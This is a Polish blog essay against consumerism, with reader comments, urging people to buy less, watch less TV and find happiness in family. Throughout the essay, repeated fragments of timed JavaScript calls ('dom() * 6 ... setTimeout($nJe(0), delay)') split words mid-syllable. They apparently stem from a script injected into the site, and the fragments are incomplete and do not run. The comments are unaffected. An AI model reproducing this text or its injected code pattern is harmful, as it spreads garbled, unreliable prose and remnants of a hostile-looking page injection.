Nie jesteśmy konsumentami. Jesteśmy ludźmi.
Nasze życie nie ma polegać na zarabianiu pieniędzy a następnie wydawaniu ich na niepotrzebne rzeczy w sieciach supermarketów, kupowaniu za dużych domów, dwóch samochodów. Częsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nieświadomie a czasami w pełni władz umysłowych, wpajamy tę konsumpcyjną filozofię swoim dzieciom.
Zadaj sobie pytanie: czy mając więcej pieniędzy, [także na debecie :)] kupując coraz dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nowe gadżety, goniąc za kolejnymi okazjami i super promocjami staję się szczęśliwszy?
NIE!!!
Wydawanie pieniędzy traktujemy jako lekarstwo na wszystko. Mam ciężki dzień w pracy, coś sobie kupię. Nie mam humoru, pójdę z moją najlepsza przyjaciółką o imieniu Karta Kredydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towa na spacer do galerii hdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andlowej. Pokłóciłem się z szefem, zasługuję na nowego iphone’a. Tak ciężko pracuję, należy mi się od życia nowy samochód. I dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to teraz, zaraz!
Jak mówi reklama telewizyjna z Markiem Kondratem, zawsze coś 🙂 Tylko tym razem zawsze coś, żeby wydać pieniądze.
Ostatnio znajomi kupili sobie do kuchni zestaw: stół plus 6 krzeseł za prawie 3 tysiące złotych. Byli bardzo zadowoleni z zakupu, przynajmniej Ona 🙂
Siedząc u nich na kolacji, przy pięknym sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tole zapytałem:
– Beata, czy chleb jedzony przy tym sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tole smakuje Ci bardziej niż gdy jadłaś go przy sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tole za 500 zł?
– Nie, smakuje mi tak samo – odpowiedziała.
Uwierz mi, otaczanie się pięknymi, drogimi przedmiotami nie da Ci szczęścia. Szczęście nie zależy od stanu posiadania a jest tylko naszym wewnętrznym odczuciem. Nawet jeśli myślisz, że z kolejnym samochodem, następnym apartamentem, kolejnymi wczasami zagranicznymi, ekskluzywnymi przyjęciami i rozrywkami staniesz się bardziej szczęśliwy, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to się mylisz.
Znajdziesz je tylko i wyłącznie w sobie i w swoich najbliższych. Nawet jeśli teraz w dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nie wierzysz, spróbuj dążyć do szczęścia, ale nie poprzez konsumpcję ale idź w przeciwnym kierunku –
uprość swoje życie.
Zastanów się, jakie byłoby życie bez reklamy, centrów hdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andlowych, zakupów internedom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towych, pracy dla wielkich korporacji, noszenia wielkich logo Nike na koszulkach, oglądania głupkowatych programów rozrywkowych dla mas, gdzie nie wiadomo kdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jest głupszy: uczestnicy czy jury?
Na pewno byłoby cichsze, z większą ilością wolnego czasu. Bez konieczności kupowania CZEGOŚ. Moglibyśmy wtedy mniej pracować. Wow, co za rewolucyjna koncepcja!
Bardziej koncentrowalibyśmy się na ludziach a nie na gadżetach. Żylibyśmy bardziej zdrowo. Przestali żreć Big Mac w zestawie powiększonym, Może nawet byśmy się więcej ruszali? Wiesz co się robi wieczorami gdy nie ogląda telewizji 🙂
Jak uwolnić się od nawyków konsumenckich?
Na początek musimy sobie uświadomić co dzieje się z naszymi umysłami kiedy oglądamy reklamy w telewizji, w kinie, w internecie. Chcemy więcej i więcej. Nie zastanawiamy się czy jest nam dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to potrzebne. Reklama mówi, że tego potrzebuję. Inni też dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mają i ja też chcę!
po pierwsze: Nie bądź wyznawcą wardom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tości korporacji, konsumpcji i pragnienia!
Oglądaj mniej telewizji. Unikaj centrów hdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andlowych, jak możesz, blokuj “wyskakujące” reklamy na stronach internedom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towych.
W ogóle mniej kupuj. Kiedy chcesz coś kupić zastanów się czy jest Ci dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to naprawdę niezbędne. Jeśli tak, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pomyśl gdzie dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to możesz kupić. Czy w wielkim markecie (pewnie będzie taniej) czy może w prywatnym sklepiku “za rogiem” (pewnie parę złotych drożej). Nie chodzi o twoją oszczędność ale o podejście do zakupów w ogóle – czy dasz zarobić jakiejś wielkiej sieci hdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andlowej czy drobnemu przedsiębiorcy?
Wybór należy do Ciebie.
Nie oglądaj się na innych. Nie startuj w wyścigu szczurów. I tak nie będziesz pierwszy na mecie z napisem “jestem większym dupkiem bo mam więcej wszystkiego”. Żyj dla siebie i swoich najbliższych.
Bądź kreatywny. Znajdź sposób na spędzenie czasu z najbliższymi bez zasilania kabzy wielkim korporacjom kinowym, hdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andlowym i rozrywkowym. Może pójdziesz z najbliższymi na spacer do lasu albo pojedziesz na wycieczkę rowerową (ja w Święta Wielkanocne wraz z najbliższymi “zrobiłem” ponad 70 km na rowerze po Borach Tucholskich).
Naucz się naprawiać różne rzeczy, szyć, godom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tować (dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ostatnie wyzwanie jest dla mężczyzn) Ja ostatnio odkryłem w sobie pasję do godom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towania. Po prostu lubię posiedzieć w kuchni przy garach (oby nie codziennie) a potem patrzeć jak rodzinka “zmiata” jedzenie z talerzy.
Znajduj szczęście, a przynajmniej zadowolenie w drobnych rzeczach. Ciesz się z dobrych ocen swoich dzieci, z ich sukcesów spordom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towych, z tego, że partnerce/partnerowi udało się jakieś przedsięwzięcie, że minął kolejny, dobry dzień. Wszyscy jesteśmy cali i zdrowi w domu.
Bądź wolny i szczęśliwy. Zasługujesz na dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.
pozdrawiam
PS. jeśli artykuł Ci się spodobał dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to kliknij Lubię dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Witaj Robercie 🙂
Z wielką przyjemnością przeczytałem Twój kolejny wpis na blogu. Mam podobną filozofię życiową do Twojej. Zgadzam się w 100 % z tym co napisałeś. Wszechobecny, żarłoczny kapitalizm, korporacje, banki, media itd chcą nas tylko ogłupić. Główny cel to wydawać pieniądze, brać debety, kredyty i coraz badziej uzależniać się od konsumpcyjnego stylu życia. Sporo ludzi niestety ulega i wpada w ten szalony wir, który napewno nie prowadzi do szcześcia.
Pozdrawiam serdecznie,
Janusz
P.S.1 Zgadzam się również, że źródłem szcześcia są nasi Najbliżsi. Mam córkę i syna – su cudowni i tego szczęścia nie kupi się za żadne pieniądze.
P.S.2 Posiadanie córki dla faceta bezcenne. Tyle razy “Kocham Cię” nie usłyszałem od żadnej kobiety :).
Janusz,
coraz więcej ludzi zauważa bezsens życia opartego na zaspokajaniu bezsensownych potrzeb, które kreowane są przez żarłoczne korporacje. Pora na wyjście z tego Matrixa! Jak słusznie zauważyłeś szczęście jest na wyciągnięcie ręki, wśród ludzi którzy nas kochają a my kochamy ich.
“Oprócz błękitnego nieba, nic mi dzisiaj nie potrzeba”
pozdrawiam
Robert, pięknie powiedziane (napisane). Odkąd przeprowadziłam w moim życiu pewna rewolucje kilka dobrych lat temu, polegająca na maksymalnym odłączeniu telewizora poczułam się inaczej… trochę poza obrębem tematów do rozmów,bo nie wiedziałam co się dzieje w różnych serialach, jednak znalazłam czas na pasję i to niejedną 🙂
Co prawda, teraz z racji pracy, wsiąkłam w internet, jednak to Ja decyduję co CHCĘ kupić. Zajmując się psychologią biznesu i e-marketingiem, znam wszystkie mechanizmy rządzące światem komercji i dzięki temu wiem jak się uodpornić na wpływy nawet podświadome reklamy…
pozdrawiam wszystkich niedających się zmanipulować komercji
AMD
Robercie, świetnie to przedstawiłeś. Kilka lat temu doszłam do podobnych wniosków i wtedy poraz pierwszy zmieniłam miejsce pracy (ponieważ słyszałam “albo ty bijesz, albo ciebie biją” pomyślałam: bijcie się sami). Na temat mediów mam podobne zdanie. Zastanawiam się, czy faktycznie tak dużo ludzi potrzebuje złych emocji?
Kupować jednak coś trzeba 🙂
A sprzedawać … hmmm także i Ty nam coś sprzedajesz 🙂
Jeść i ubrać jednak się trzeba 🙂
Co do zakupów, dobrym wyjściem jest tworzenie list zakupów i chodzenie tylko z tym do sklepu, i sztywne trzymanie się tego co potrzebne.
W tworzeniu list zakupów pomocny może być np. :
http://www.listonic.com/
Gdyby tak całą rodzinę do tego zaangażować, to lista taka sama by się tworzyła, a my moglibyśmy iść z nią do sklepu ….
…. albo zamówić by sklep sam nam to wszystko (nawet za darmo) dostarczył do domu (w w/w darmowym narzędziu istnieje możliwość zamówienia towaru pod nasze drzwi).
warto przetestować, a być może całkowicie zmieni się nasze podejście do zakupów … 😉
Cyprianie,
Świetny pomysł z tym listonikiem! A swoją drogą, jak trafiam na takie serwisy to mam wrażenie, że ludzie już wszystko wymyślili 🙂 zakupy w komórce, serwisy www automatycznie generujące przepisy kulinarne na listy zakupów… Co jeszcze? Klikniesz klawisz w komputerze a z ekranu wysunie się ręka z pizzą?!
Co do robienia list to się całkowicie z Tobą zgadzam. Najgorzej to jak wchodzimy do sklepu i dopiero zaczynamy się zastanawiać co by tu kupić??? wtedy mamy 100 proc. pewności, że nasz koszyk będzie pełen niepotrzebnych rzeczy, z których połowa zepsuje się w naszej lodówce…
Nie wiem jak Ty, ale ja nienawidzę wyrzucać jedzenia!
Fajnie, aby w kuchni był pod ręką jakiś iPad lub jakiś tańszy może być nawet Tablet z Androidem za 200-300 zł z WiFi.
Aby gospodyni miała zawsze go pod ręką (i wpisywała co potrzebne do Listonica) …